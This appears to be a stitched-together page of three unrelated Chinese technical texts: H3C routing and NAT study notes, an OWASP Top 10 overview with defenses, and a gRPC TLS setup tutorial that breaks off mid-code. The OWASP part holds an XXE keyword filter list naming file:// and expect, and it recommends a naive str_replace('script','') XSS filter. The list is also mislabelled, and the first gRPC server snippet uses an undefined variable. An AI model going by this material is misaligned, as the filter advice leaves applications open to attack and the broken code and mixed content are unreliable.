'network':宣告网段,network命令的2层功能,使能接口(每个接口的IP地址与宣告的网段进行匹配,被匹配的接口能够收发RIP协议报文),使能路由(每个接口的IP地址与宣告的网段进行匹配,被匹配的接口所产生的直连路由能够传递给邻居)[h3c-rip-1]silent-interface 'interface number':配置静默接口,静默接口上不会收发RIP协议报文[h3c-GigabitEthernet 0/0]rip authentication mode ……:配置RIP接口身份验证二十五、OSPFRIP的缺陷最大跳数限制了网络规模以跳数为度量值无法准确判断最优路径路由更新发送完整路由表消耗网络带宽收敛速度慢协议会产生路由自环定义开放式最短路径优先,基于链路状态特征工作在IP层,协议号89OSPF初始化流程1.建立邻居和邻接关系发送hello报文发现和建立邻居关系,组播地址224.0.0.5接口UP双方接口IP地址在同一网段双方接口在同一区域……选举DR/BDR,建立邻接关系DR/BDR选举选举原因,广播网络中使路由信息交换更加高速有序选举范围,每条广播链路上都需要选举出一个DR和一个BDR选举规则1.优先级大的优先,默认优先级都是12.Router-id大的优先Router-id定义,Rid,标识路由器的身份产生方法:手动配置一个IPv4地址格式作为Rid自动选举1.在所有环回口中选举IP地址最大的作为Rid2.在所有物理接口中选举IP地址最大的作为Rid建议手动配置一个本地环回口的IP地址作为Rid关系状态DRother与DR建立邻接关系DRother与BDR建立邻接关系DR与BDR建立邻接关系DRother之间保持邻居关系2.邻接路由器之间交换链路状态信息,实现区域内链路状态数据库同步相关概念链路状态通告,LSA,用来描述路由器的接口、路由条目的相关信息,向邻接路由器发送DD报文,通告本地LSDB中所有LSA的摘要信息链路状态数据库,LSDB,存储本地所有LSA工作流程收到DD后,与本地LSDB对比,向对方发送LSR报文,请求发送本地所需的LSA的完整信息收到LSR后,把对方所需的LSA的完整信息打包为一条LSU报文,发送至对方收到LSU后,向对方回复LSAck报文,进行确认3.每台路由器根据本机链路状态数据库,计算到达每个目的网段的最优路由,写入路由表OSPF分区域管理分区域的原因加快收敛速度把网络故障隔离在区域内部路由器角色IR,普通路由器,所有接口都处于普通区域BR,骨干路由器,所有接口都处于骨干区域ABR,区域边界路由器,连接不同区域的路由器ASBR,自治系统边界路由器,连接外部自治系统的路由器区域类型骨干区域,只能有一个骨干区域,骨干区域必须是连续的非骨干区域,非骨干区域必须连接到骨干区域特殊区域常用命令[h3c]ospf 'process id' router-id 'rid':开启OSPF进程,指定Router-id,进入OSPF协议视图[h3c-ospf-1]area 'area id':进入区域视图[h3c-ospf-1-area 0.0.0.0]network 'ip address' 'wild-mask':宣告网段wild-mask:掩码通配符0对应的部分需要匹配一致,1对应的部分不检查[h3c-ospf-1]slient-interface 'interface id':配置静默接口[h3c-GigabitEthernet 0/0]ospf dr-pririty 'priority':修改OSPF接口优先级[h3c-GigabitEthernet 0/0]ospf cost 'cost':修改接口OSPF开销<h3c>reset ospf 'process id' process:重置OSPF进程[h3c]display ospf peer:查看OSPF邻居关系FULL:邻接关系2-Way:邻居关系[h3c]display ospf lsdb:查看OSPF链路状态数据库[h3c]display ospf routing:查看OSPF路由二十六、ACL包过滤ACL定义访问控制列表用于数据流的匹配和筛选常见功能访问控制:ACL+Packet-filter路由控制:ACL+Route-policy流量控制:ACL+QOS基于ACL的包过滤定义对进出的数据包逐包检查,丢弃或允许通过包过滤必须配置在接口的某个方向上才能生效一个接口的一个方向只能配置一个包过滤策略包过滤的方向入方向:只对从外部进入的数据包做过滤出方向:只对从内部发出的数据包做过滤包过滤的工作流程数据包到达接口检查是否应用了ACL,是则进入匹配,否则放行按照ACL编号匹配第一条规则,匹配则进一步检查该条规则动作,否则与下一条规则进行匹配动作允许则放行动作拒绝则丢弃继续进行匹配,如匹配则检查规则动作,否则与下一条进行匹配所有规则都不匹配,检查默认动作默认动作允许则放行默认动作拒绝则丢弃注意事项如果默认动作是允许,至少需要一条拒绝规则如果默认动作是拒绝,至少需要一条允许规则H3C的ACL用于包过滤默认允许,用于其他默认拒绝把小范围的规则分配一个靠前的顺序在不影响实际效果前提下,把包过滤尽量配置在离源地址最近的接口的入方向ACL分类基本ACL只对数据包的源地址进行匹配编号2000-2999高级ACL对数据包的五元组进行匹配(源IP,目的IP,源端口,目的端口,协议)编号3000-3999常用命令[h3c]acl basic 'acl-number':创建基本ACL,进入ACL视图[h3c]acl advanced 'acl-number':创建高级ACL,进入ACL视图[h3c-acl-basic-2000]rule 'rule id' 'permit/deny' source 'ip address' 'wild-mask':创建基本ACL规则,如不写rule-id,则系统自动从0开始以5的倍数增加序号[h3c-acl-basic-3000]rule 'rule id' 'protocol' source 'ip address' 'wild-mask' source-port 'port' destination 'ip address' 'wild-mask' destination-port 'port':创建高级ACL规则[h3c-GigabitEthernet 0/0]packet-filter 'acl number' 'inbound/outbound':配置包过滤[h3c]packet-filter default deny:更改默认动作为拒绝二十七、NAT产生背景IPv4公网地址资源耗尽IPv6普及遥遥无期子网划分杯水车薪定义网络地址转换通过把私有地址转换为公有地址,使私有IP地址主机可以访问互联网,来解决公网地址不够用的问题分类静态 NAT把公有地址一对一的静态映射给私有地址使用基本 NAT建立公有地址池,把地址池中的公有地址动态的映射给私有地址使用本质上仍然是一对一的映射NAPT把公有地址和端口动态的映射给私有地址和端口,实现一个公有地址可以供多个私有地址同时使用访问互联网转换源IP和源端口,数据回包还原目的IP和目的端口Easy IPNAPT的一种简易实现形式适用于公网地址不固定的场景NAT Server把公网IP的某个端口固定映射到私网IP的某个端口,让公网上的用户可以主动访问私网中的服务转换目的IP和目的端口,数据回包还原源IP和源端口也称端口映射常用命令[h3c]nat address-group 'group-number':创建 NAT 公网地址池[h3c-address-group-1]address 'start-ip' 'end-ip':设置地址池的地址范围[h3c-GigabitEthernet0/0]nat outbound 'acl-number' address-group 'group-number':在公网接口上配置 NAPT[h3c-GigabitEthernet0/0]nat outbound 'acl-number':在公网接口上配置 Easy IP[h3c-GigabitEthernet0/0]nat server protocol 'tcp/udp/icmp' global 'global-address' 'global-port' inside 'inside-address' 'inside-port':在公网接口上配置NAT Server二十八、PPP定义点到点协议在串行线路上运行的协议特点支持身份验证支持地址自动协商工作阶段阶段1,LCP阶段,链路状态协商阶段2,验证阶段,可选阶段3,NCP阶段,IP地址协商验证验证方式PAP两次握手用户名和密码在网络中明文传输CHAP三次握手密码不在网络中传输,更安全验证分类单向验证:主验证方对被验证方进行验证双向验证:双方互相验证PPP-MP把两台路由器之间的多条PPP链路捆绑成一条逻辑PPP链路功能实现链路冗余增加链路带宽要点IP地址配置在MP口上身份验证配置在物理口上常用命令[h3c-Serial1/0]ppp authentication-mode 'pap/chap':设置接口开启PPP验证,并指定验证方式[h3c-Serial1/0]ppp pap local-user 'username' password 'simple/cipher' 'password':被验证方设置接口上用于pap验证的用户和密码[h3c-Serial1/0]ppp chap user 'username':被验证方设置接口上用于chap验证的用户[h3c-Serial1/0]ppp chap password 'simple/cipher' 'password':被验证方设置接口上用于chap验证的密码[h3c]interface mp-group 'group-number':创建PPP-MP口,进入MP口接口视图[h3c-Serial1/0]ppp mp mp-group 'group-number':物理接口加入到MP口双向验证时,如果两端用于验证的用户名和密码一致,则在PPP接口下只用指定用户名,不用指定密码
OWASP-TOP10漏洞详解以及防护方案
OWASP TOP 10 漏洞详解以及防护方案OWASP介绍官网:http://www.owasp.org.cn/OWASP TOP10 指出了 WEB 应用面临最大风险的 10 类问题,是目前 WEB 应用安全方面最权威的项目。OWASP 是一个开源的、非盈利全球性安全组织,致力于应用软件的安全研究。OWASP 的使命是应用软件更加安全,使企业和组织能够对应用安全风险作出更清晰的决策。 目前 OWASP 全球拥有 140 个分会近四万名员,共同推动了安全标准、安全测试工具、安全指导手册等应用安全技术的发展。OWASP TOP 10A1:2017 注入A2:2017 失效的身份认证A3:2017 敏感数据泄露A4:2017 XML外部实体A5:2017 失效的访问控制A6:2017 安全配置错误A7:2017 跨站请求脚本(XSS)A8:2013 跨站请求伪造(CSRF)A8:2017 不安全的反序列化A9:2017 使用含有已知漏洞的组件A10:2017 不足的日志记录和监控A1 2017注入injection注入:用户的输入被当成命令/代码执行或者解析了将不受信用的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS注入(操作系统命令)和LDAP(轻量目录访问协议)注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。用户的输入并非固定位置,可能存在于:输入框搜索栏提交表单URL链接所有的GET/POST请求的请求头和请求包头留言评论几乎任何数据源都有可能成为注入载体,只要是能被发出的数据位置可被执行的代码:SQLLDAPXpath or NoSQL系统命令XML语言SMTP包头表达式语句ORM查询语句危害:该代码能做什么即是危害注入的分类通常的注入有sql注入和命令注入SQL注入攻击动态页面有时会通过脚本引擎将用户输入的参数按照预先设定的规则构造成SQL语句来进行数据库操作。SQL注入攻击指的是通过构造特殊的输入作为参数传入Web应用程序,改变原有的SQL语句的语义来执行攻击者所要的操作,其主要原因是程序没有采取必要的措施避免用户输入内容改变原有SQL语句的语义。SQL注入的危害:绕过登陆验证:使用万能密码登陆网站后台等获取敏感数据:获取网站管理员账号、密码等文件系统操作:列目录、读取或写入文件等注册表操作:读取、写入、删除注册表等执行系统命令:远程执行命令参考链接:https://www.zhiji.icu/2021/03/06/qian-tan-sql-zhu-ru/防护方案1、关闭 SQL 错误回显2、前端输入字符白名单验证(长度、类型等)3、对输入的特殊字符使用转义处理4、SQL 操作使用 PreParedStatement5、SQL 服务运行于专门的账号,并且使用最小权限6、限制 SQL 服务的远程访问,只开放给特定开发人员7、代码审计,最有效的检测应用程序的注入风险的方法之一8、使用成熟的 waf命令注入攻击WEB应用代码中,有时会允许接收用户输入一段代码,之后在web应用服务器上执行这段代码并将结果返回给用户,如果这段代码没有进行限制,用户就可能执行恶意代码。防护方案1、白名单效验命令参数2、单引号禁止命令解析功能A2 2017 失效的身份认证通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者暂时或永久的冒充其他用户的身份。危害:这些漏洞可能导致部分甚至全部账户遭受攻击,一旦攻击成功,攻击者就能执行合法的任何操作防护方案1、使用内置的会话管理功能2、通过认证的问候3、使用单一的入口点4、确保在一开始登录SSL保护的网页A3 2017 敏感数据泄露一般我们的敏感信息包括密码、财务数据、医疗数据等,由于web应用或者API未加密或不正确的保护敏感数据,这些数据极易遭到攻击者利用,攻击者可能使用这些数据来进行一些犯罪行为,因此,未加密的信息极易遭到破坏和利用,我们应该加强对敏感数据的保护,web应用应该在传输过程中数据、存储的数据以及和浏览器的交互时的数据进行加密,保证数据安全。实例场景一个应用程序使用自动化的数据加密系统加密信用卡信息,并存储在数据库中。但是,当数据被检索时被自动解密,这就使得SQL注入漏洞能够以明文形式获取所有信用卡卡号一个网站上对所有网页没有使用或强制使用TLS,或者使用弱加密。攻击者通过检测网络流量(如:不安全的无线网络),将网络连接从HTTPS降到HTTP,就可以截取请求并窃取用户会话cookie。之后攻击者可以复制用户cookie并成功劫持经过认证的用户会话、访问或修改用户个人信息。除此之外,攻击者还可以更改所有传输过程中的数据,例如:转款的接受者密码数据库使用未加盐的哈希算法或弱哈希算法去存储每个人的密码,一个文件上传漏洞能使黑客获取密码文件。所有这些未加盐的哈希密码通过彩虹表暴力破解方式破解,由简单或快速散列函数生成加盐的哈希也可以通过GPU破解防护方案1、对于 github 泄露,定期对仓库扫描2、对于应用网站目录定期扫描3、使用强壮的网络协议与算法4、注重对敏感数据的保护A4 2017 XML外部实体(XXE)XXE 全称为XML External Entity attack 即XML(可扩展标记语言) 外部实体注入攻击,早期或配置错误的XML处理器评估了XML文件外部实体引用,攻击者可以利用这个漏洞窃取URI(统一资源标识符)文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击。攻击方式当应用程序解析 XML文件时包含了对外部实体的引用,攻击者传递恶意包含 XML 代码的文件,读取指定的服务器资源。漏洞原因XML 协议文档本身的设计特性,可以引入外部的资源;定义 XML 文件时使用的外部实体引入功能漏洞影响读取服务器敏感资料,如、/etc/password读取应用程序源码防护方案1、关闭 DTD (Data Type Definition)2、禁止外部实体引入2.1 使用开发语言提供的禁用外部实体的方法PHP:libxml_disable_entity_loader(true);其他语言:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet3、过滤用户提交的XML数据关键词system
file://
public
http://
expect
...A5 2017 无效的访问控制(业务逻辑漏洞)失效的访问控制就是越权访问漏洞未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的账户、查看敏感文件、修改其他用户数据、更改访问权限等垂直越权:低权限用户可以访问更高权限才能访问的页面水平越权:同级别权限用户的权限控制失效,攻击者可以从普通用户A的权限提升到普通用户B的权限访问应用程序防护方案1、对参数的白名单过滤2、对权限的控制管理重新设计与限制3、限制下载文件的类型A6:2017 安全配置错误安全配置错误是比较常见的漏洞,由于操作者的不当配置(默认配置,临时配置,开源云存储,http标头配置,以及包含敏感信息的详细错误),导致攻击者可以利用这些配置获取到更高的权限,安全配置错误可以发生在各个层面,包含平台、web服务器、应用服务器、数据库、架构和代码。如 python 开发中对于 Django 框架在生产环境启用了 Debug 模式可能受到攻击的应用程序:缺少适当的安全加固、云服务的权限配置错误应用程序启用或安装了不必要的功能(端口、服务、网页、账户或权限等)默认账户的密码仍然没有更改错误处理机制向用户披露堆栈跟踪或其他大量错误信息对于更新的系统,禁用或不安全地配置最新的安全功能应用程序服务器、应用程序框架(如:Struts、Spring、ASP.NET)、库文件、数据库等没有进行安全配置服务器不发送安全标头或指令,或未对服务器进行安全配置应用软件已过期或易受攻击漏洞影响可让攻击者获取到敏感数据、提升权限,如未修改应用程序配置的默认密码,未删除应用程序安装程序目录文件等防护方案一个可以快速且易于部署在另一个锁定环境的可重复的加固过程。开发、质量保证和生产环境都应该进行相同配置,并且在每个环境中使用不同的密码。这个过程应该是自动化的,以尽量减少安装一个新安全环境的耗费搭建最小化平台,该平台不包含任何不必要的功能、组件、文档和示例。移除或不安装不适用的功能和框架检查和修复安全配置项来适应最新的安全说明、更新和补丁,并将其作为更新管理过程的一部分,在检查过程中应特别注意云存储权限(如:S3桶权限)一个能在组件和用户间提供有效的分离和安全性的分段应用程序架构,包括:分段、容器化和云安全组向客户端发送安全指令,如:安全标头在所有环境中能够进行正确安全配置和设置自动化过程A7:2017 跨站脚本(XSS)当应用程序的新网页中包含不受信任的、未经恰当验证、转义的数据或可以使用HTML、JavaScript的浏览器API更新的现有网页时,就会出现xss漏洞,跨站脚本攻击是最普遍的web应用安全漏洞,甚至在某些安全平台都存在xss漏洞。xss会执行攻击者在浏览器中执行的脚本,并劫持用户会话,破坏网站或用户重定向到恶意站点,使用xss还可以执行拒绝服务攻击。存在三种XSS类型,通常针对用户的浏览器:反射式XSS:应用程序或API包括未经验证和未转义的用户输入,作为HTML输出的一部分。一个成功的攻击可以让攻击者在受害者的浏览器执行任意的HTML和JavaScript。通常,用户将需要与指向攻击者控制页面的某些恶意链接进行交互,如恶意漏洞网站,广告等存储式XSS:你的应用或API将未净化的用户输入存储下来了,并在后期在其他用户或者管理员的页面展示出来。存储型XSS一般被认为是高危或严重的风险基于DOM的XSS:会动态的将攻击者可控的内容加入页面的JavaScript框架、单页面程序或API存在这种类型的漏洞。理想的来说,你应该避免将攻击者可控的数据发送给不安全的JavaScript API典型的XSS攻击可导致盗取session、账户、绕过MFA、DIV替换、对用户浏览器的攻击(如:恶意软件下载、键盘记录)防护方案XSS 过滤器的作用是过滤用户(浏览器客户端)提交的有害信息,从而达到防范XSS 攻击的效果。1、输入过滤 输入验证对用户提交的信息进行“有效性”验证。仅接受指定长度仅包含合法字符仅接收指定范围特殊的格式,例如,email 、IP 地址。数据消毒过滤或净化掉有害的输入$code = str_replace('script','',$xsscode);2、输出编码HTML 编码是HTML 实体编码。$code = htmlspecialchars($xsscode);3、黑白名单策略 不管是采用输入过滤还是输出编码,都是针对信息进行黑、白名单式的过滤。黑名单,非允许的内容白名单,允许的内容4、防御DOM 型XSS 避免客户端文档重写,重定向或其他敏感操作。A8 2017 不安全的反序列化不安全的反序列化可以导致远程代码执行、重放攻击、注入攻击或特权升级攻击对反序列化的利用是有点困难的。因为在不更改或调整底层可被利用代码的情况下,现场的反序列化漏洞很难被使用可能的两种主要攻击类型:如果应用中存在可以在反序列化过程中或者之后被改变行为的类,则攻击者可以通过改变应用逻辑或者实现远程代码执行攻击。我们将其称为对象和数据结构攻击典型的数据篡改攻击,如访问控制相关的攻击,其中使用了现有的数据结构,但内容发生了变化防护方案1、对数据对象签名,并作完整检查2、数据对象中的数据做严格的类型检查,限制一部分恶意攻击3、隔离反序列化操作环境A9 2017 使用含有已知漏洞的组件组件(库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管。同时,使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响对于一些漏洞很容易找到其利用程序,但对其他的漏洞则需要定制开发这种安全漏洞普遍存在。基于组件开发的模式使得多数开发团队根本不了解其应用或API中使用的组件,更谈不上及时更新这些组件了经常爆出漏洞的组件:WeblogicStrust-2防护方案1、及时更新、修复组件漏洞2、移除不再使用的依赖组件A10 2017 日志记录和监控不足对于日志记录的监控不足,以及事件响应缺失或无效的集成,使得攻击者攻击系统、应用、盗取数据等操作无法被发现和追查。让其能够进一步攻击系统、保持持续性的或攻击更多的系统,以及对数据的不当操作。防护方案1、启用日志监控、告警机制2、启用异地监控,C/S架构的监制机制3、尽可能的完整记录所有日志A11 2013 跨站请求伪造(CSRF)它强制终端用户在当前对其进行身份验证后(登陆 cookie session)的Web 应用程序上执行,非本意操作的攻击。 CSRF 攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。 借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应用程序.关键点用户没有退出登陆 CSRF 是一种欺骗受害者提交恶意请求的攻击。它继承了受害者的身份和特权,代表受害者执行非本意 的、恶意的操作。对于大多数站点,浏览器请求会自动发送与站点关联的所有凭据,例如用户的会话Cookie,IP 地址, Windows 域凭据等。因此,如果用户已对当前站点进行了身份验证,则该站点没有办法区分一个请求 是受害者发送的合法请求还是攻击者伪造受害者身份发送的非法请求。目标CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、 更改密码,购买商品等等。 CSRF 的场景中,攻击者是没有办法获得服务器的响应。防护方案无效的防御使用秘密的Cookie仅接收POST 请求(get请求容易泄露消息)多步交易 (有可能被恶意攻击者预测)URL 重写 (用户身份信息会暴露在url中)HTTPS (所有安全机制的前提)有效的防御验证Referer 字段添加Token 验证,可以参考dvwa csrf最高级别一串随机字符串 每次客户端请求,服务器都会刷新token 服务器创建了一个token值,存储在服务器中并下发到浏览器 下次浏览器请求,需要提交该token值,服务器根据浏览器提交的token 与服务器中存储的token进行 对比, 如果二者一致说明请求是正常。 如果二者不一致说明请求可能来自恶意的攻击者 token的设计,在php中通常利用session机制二次验证在关键操作之前,再输入密码或者验证码。
gRPC(五)进阶:通过TLS建立安全连接
前言个人网站:https://linzyblog.netlify.app/示例代码已经上传到github:点击跳转gRPC官方文档:点击跳转一、明文传输先前的例子中 gRPC Client/Server 都是明文传输的,在明文通讯的情况下,你的请求就是裸奔的,有可能被第三方恶意篡改或者伪造为“非法”的数据。我们抓个包查看一下:是明文传输,后面我们开始gRPC通过 TLS 证书建立安全连接,让数据能够加密处理,包括证书制作和CA签名校验等。二、TLS概述传输层安全 (TLS) 对通过 Internet 发送的数据进行加密,以确保窃听者和黑客无法看到您传输的内容,这对于密码、信用卡号和个人通信等私人和敏感信息特别有用。1、什么是TLS?传输层安全 (TLS) 是一种 Internet 工程任务组 ( IETF ) 标准协议,可在两个通信计算机应用程序之间提供身份验证、隐私和数据完整性。它是当今使用最广泛部署的安全协议,最适合需要通过网络安全交换数据的 Web 浏览器和其他应用程序。这包括 Web 浏览会话、文件传输、虚拟专用网络 (VPN) 连接、远程桌面会话和 IP 语音 (VoIP)。最近,TLS 被集成到包括 5G 在内的现代蜂窝传输技术中,以保护整个无线电接入网络 ( RAN ) 的核心网络功能。2、TLS的工作流程TLS 使用客户端-服务器握手机制来建立加密和安全的连接,并确保通信的真实性。通信设备交换加密功能。使用数字证书进行身份验证过程以帮助证明服务器是它声称的实体。发生会话密钥交换。在此过程中,客户端和服务器必须就密钥达成一致,以建立安全会话确实在客户端和服务器之间的事实——而不是在中间试图劫持会话的东西。三、gRPC建立安全连接1、概述gRPC建立在HTTP/2协议之上,对TLS提供了很好的支持。当不需要证书认证时,可通过grpc.WithInsecure()选项跳过了对服务器证书的验证,没有启用证书的gRPC服务和客户端进行的是明文通信,信息面临被任何第三方监听的风险。为了保证gRPC通信不被第三方监听、篡改或伪造,可以对服务器启动TLS加密特性。gRPC 内置了以下 encryption 机制:SSL / TLS:通过证书进行数据加密;ALTS:Google开发的一种双向身份验证和传输加密系统。。只有运行在 Google Cloud Platform 才可用,一般不用考虑。2、gRPC 加密类型1)insecure connection:不使用TLS加密2)server-side TLS:仅服务端TLS加密3)mutual TLS:客户端、服务端都使用TLS加密我们前面的例子都是明文传输的,使用的都是 insecure connection,通过指定 WithInsecure option 来建立 insecure connection,不建议在生产环境使用。后面我们了解如何使用 TLS 来建立安全连接。3、server-side TLS1)流程服务端 TLS 具体包含以下几个步骤:制作证书,包含服务端证书和 CA 证书;服务端启动时加载证书;客户端连接时使用CA 证书校验服务端证书有效性。也可以不使用 CA证书,即服务端证书自签名。2)什么是CA?CA证书又是什么?CA是Certificate Authority的缩写,也叫“证书授权中心”。它是负责管理和签发证书的第三方机构,作用是检查证书持有者身份的合法性,并签发证书,以防证书被伪造或篡改。CA实际上是一个机构,负责“证件”印制核发。就像负责颁发身份证的公安局、负责发放行驶证、驾驶证的车管所。CA 证书就是CA颁发的证书。我们常听到的数字证书就是CA证书,CA证书包含信息有:证书拥有者的身份信息,CA机构的签名,公钥和私钥。。身份信息: 用于证明证书持有者的身份。CA机构的签名: 用于保证身份的真实性。公钥和私钥: 用于通信过程中加解密,从而保证通讯信息的安全性3)什么是SAN?SAN(Subject Alternative Name)是 SSL 标准 x509 中定义的一个扩展。使用了 SAN 字段的 SSL 证书,可以扩展此证书支持的域名,使得一个证书可以支持多个不同域名的解析。我们在用go 1.15版本以上,用gRPC通过TLS建立安全连接时,会出现证书报错问题:panic: rpc error: code = Unavailable desc = connection error: desc = "transport: authentication handshake failed: x509: certificate
is not valid for any names, but wanted to match localhost"造成这个panic的原因是从go 1.15 版本开始废弃 CommonName,我们没有使用官方推荐的 SAN 证书(默认是没有开启SAN扩展)而出现的错误,导致客户端和服务端无法建立连接。4)目录结构go-grpc-example
├── client
│ └──TLS_client
│ │ └──client.go
├── conf
│ └──ca.conf
│ └──server.conf
├── proto
│ └──search
│ │ └──search.proto
├── server
│ └──TLS_server
│ │ └──server.go
├── Makefile5)生成CA根证书在ca.conf里写入内容如下:[ req ]
default_bits = 4096
distinguished_name = req_distinguished_name
[ req_distinguished_name ]
countryName = GB
countryName_default = CN
stateOrProvinceName = State or Province Name (full name)
stateOrProvinceName_default = ZheJiang
localityName = Locality Name (eg, city)
localityName_default = HuZhou
organizationName = Organization Name (eg, company)
organizationName_default = Step
commonName = linzyblog.netlify.app
commonName_max = 64
commonName_default = linzyblog.netlify.app1.生成ca私钥,得到ca.keyopenssl genrsa -out ca.key 4096openssl genrsa:生成RSA私钥,命令的最后一个参数,将指定生成密钥的位数,如果没有指定,默认5122.生成ca证书签发请求,得到ca.csr$ openssl req -new -sha256 -out ca.csr -key ca.key -config ca.conf
GB [CN]:
State or Province Name (full name) [ZheJiang]:
Locality Name (eg, city) [HuZhou]:
Organization Name (eg, company) [Step]:
linzyblog.netlify.app [linzyblog.netlify.app]:这里一直回车就好了openssl req:生成自签名证书,-new指生成证书请求、-sha256指使用sha256加密、-key指定私钥文件、-x509指输出证书、-days 3650为有效期,此后则输入证书拥有者信息3.生成ca根证书,得到ca.crtopenssl x509 -req -days 3650 -in ca.csr -signkey ca.key -out ca.crt6)生成终端用户证书在server.conf写入以下内容:[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
[ req_distinguished_name ]
countryName = Country Name (2 letter code)
countryName_default = CN
stateOrProvinceName = State or Province Name (full name)
stateOrProvinceName_default = ZheJiang
localityName = Locality Name (eg, city)
localityName_default = HuZhou
organizationName = Organization Name (eg, company)
organizationName_default = Step
commonName = CommonName (e.g. server FQDN or YOUR name)
commonName_max = 64
commonName_default = linzyblog.netlify.app
[ req_ext ]
subjectAltName = @alt_names
[alt_names]
DNS.1 = go-grpc-example(这里很重要,客户端需要此字段做匹配)
IP = 127.0.0.11.生成私钥,得到server.keyopenssl genrsa -out server.key 40962.生成证书签发请求,得到server.csropenssl req -new -sha256 -out server.csr -key server.key -config server.conf这里也一直回车就好。3.用CA证书生成终端用户证书,得到server.crtopenssl x509 -req -days 3650 -CA ca.crt -CAkey ca.key -CAcreateserial -in server.csr -out server.pem -extensions req_ext -extfile server.conf7)serverconst PORT = "8888"
func main() {
// 根据服务端输入的证书文件和密钥构造 TLS 凭证
c, err := credentials.NewServerTLSFromFile("./conf/server.pem", "./conf/server.key")
if err != nil {
log.Fatalf("credentials.NewServerTLSFromFile err: %v", err)
}
// 返回一个 ServerOption,用于设置服务器连接的凭据。
// 用于 grpc.NewServer(opt ...ServerOption) 为 gRPC Server 设置连接选项
lis, err := net.Listen("tcp", ":"+PORT) //创建 Listen,监听 TCP 端口
if err != nil {
log.Fatalf("credentials.NewServerTLSFromFile err: %v", err)
}
search.RegisterSearchServiceServer(s, &service{})
s.Serve(lis)
}8)clientconst PORT = "8888"
func main() {
// 根据客户端输入的证书文件和密钥构造 TLS 凭证。
// 第二个参数 serverNameOverride 为服务名称。
c, err := credentials.NewClientTLSFromFile("./conf/server.pem", "go-grpc-example")
if err != nil {
log.Fatalf("credentials.NewClientTLSFromFile err: %v", err)
}
// 返回一个配置连接的 DialOption 选项。
// 用于 grpc.Dial(target string, opts ...DialOption) 设置连接选项
conn, err := grpc.Dial(":"+PORT, grpc.WithTransportCredentials(c))
if err != nil {
log.Fatalf("grpc.Dial err: %v", err)
}
defer conn.Close()
client := pb.NewSearchServiceClient(conn)
resp, err := client.Search(context.Background(), &pb.SearchRequest{
Request: "gRPC",
})
if err != nil {
log.Fatalf("client.Search err: %v", err)
}
log.Printf("resp: %s", resp.GetResponse())
}8)启动 & 请求# 启动服务端
$ go run server.go
API server listening at: 127.0.0.1:53981
# 启动客户端
$ go run client.go
API server listening at: 127.0.0.1:54328
2022/11/03 19:35:10 resp: gRPC Server抓个包再看看4、mutual TLS1)生成服务端证书新增server.conf[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
[ req_distinguished_name ]
countryName = Country Name (2 letter code)
countryName_default = CN
stateOrProvinceName = State or Province Name (full name)
stateOrProvinceName_default = ZheJiang
localityName = Locality Name (eg, city)
localityName_default = HuZhou
organizationName = Organization Name (eg, company)
organizationName_default = Step
commonName = CommonName (e.g. server FQDN or YOUR name)
commonName_max = 64
commonName_default = linzyblog.netlify.app
[ req_ext ]
subjectAltName = @alt_names
[alt_names]
DNS.1 = go-grpc-example(这里很重要,客户端需要此字段做匹配)
IP = 127.0.0.1// 1. 生成私钥,得到server.key
openssl genrsa -out server.key 2048
//2. 生成证书签发请求,得到server.csr
openssl req -new -sha256 -out server.csr -key server.key -config server.conf
//3. 用CA证书生成终端用户证书,得到server.crt
openssl x509 -req -sha256 -CA ca.crt -CAkey ca.key -CAcreateserial -days 365 -in server.csr -out se
rver.crt -extensions req_ext -extfile server.conf2)生成客户端证书// 1. 生成私钥,得到client.key
openssl genrsa -out client.key 2048
//2. 生成证书签发请求,得到client.csr
openssl req -new -key client.key -out client.csr
//3. 用CA证书生成客户端证书,得到client.crt
openssl x509 -req -sha256 -CA ca.crt -CAkey ca.key -CAcreateserial -days 365 -in client.csr -out client.crt3)整理目录conf
├── ca.conf
├── ca.crt
├── ca.csr
├── ca.key
├── client
│ ├── client.csr
│ ├── client.key
│ └── client.pem
├── server
│ ├── server.conf
| └── server.crt
│ ├── server.csr
| ├── server.key
└─server_side_TLS4)serverconst PORT = "8888"
func main() {
// 公钥中读取和解析公钥/私钥对
cert, err := tls.LoadX509KeyPair("./conf/server/server.crt", "./conf/server/server.key")
if err != nil {
fmt.Println("LoadX509KeyPair error", err)
return
}
// 创建一组根证书
certPool := x509.NewCertPool()
ca, err := ioutil.ReadFile("./conf/ca.crt")
if err != nil {
fmt.Println("read ca pem error ", err)
return
}
// 解析证书
if ok := certPool.AppendCertsFromPEM(ca); !ok {
fmt.Println("AppendCertsFromPEM error ")
return
}
c := credentials.NewTLS(&tls.Config{
//设置证书链,允许包含一个或多个
Certificates: []tls.Certificate{cert},
//要求必须校验客户端的证书
ClientAuth: tls.RequireAndVerifyClientCert,
//设置根证书的集合,校验方式使用ClientAuth设定的模式
ClientCAs: certPool,
})
s := grpc.NewServer(grpc.Creds(c))
lis, err := net.Listen("tcp", ":"+PORT) //创建 Listen,监听 TCP 端口
if err != nil {
log.Fatalf("credentials.NewServerTLSFromFile err: %v", err)
}
//将 SearchService(其包含需要被调用的服务端接口)注册到 gRPC Server 的内部注册中心。
//这样可以在接受到请求时,通过内部的服务发现,发现该服务端接口并转接进行逻辑处理
search.RegisterSearchServiceServer(s, &service{})
//gRPC Server 开始 lis.Accept,直到 Stop 或 GracefulStop
s.Serve(lis)
}5)clientconst PORT = "8888"
func main() {
// 公钥中读取和解析公钥/私钥对
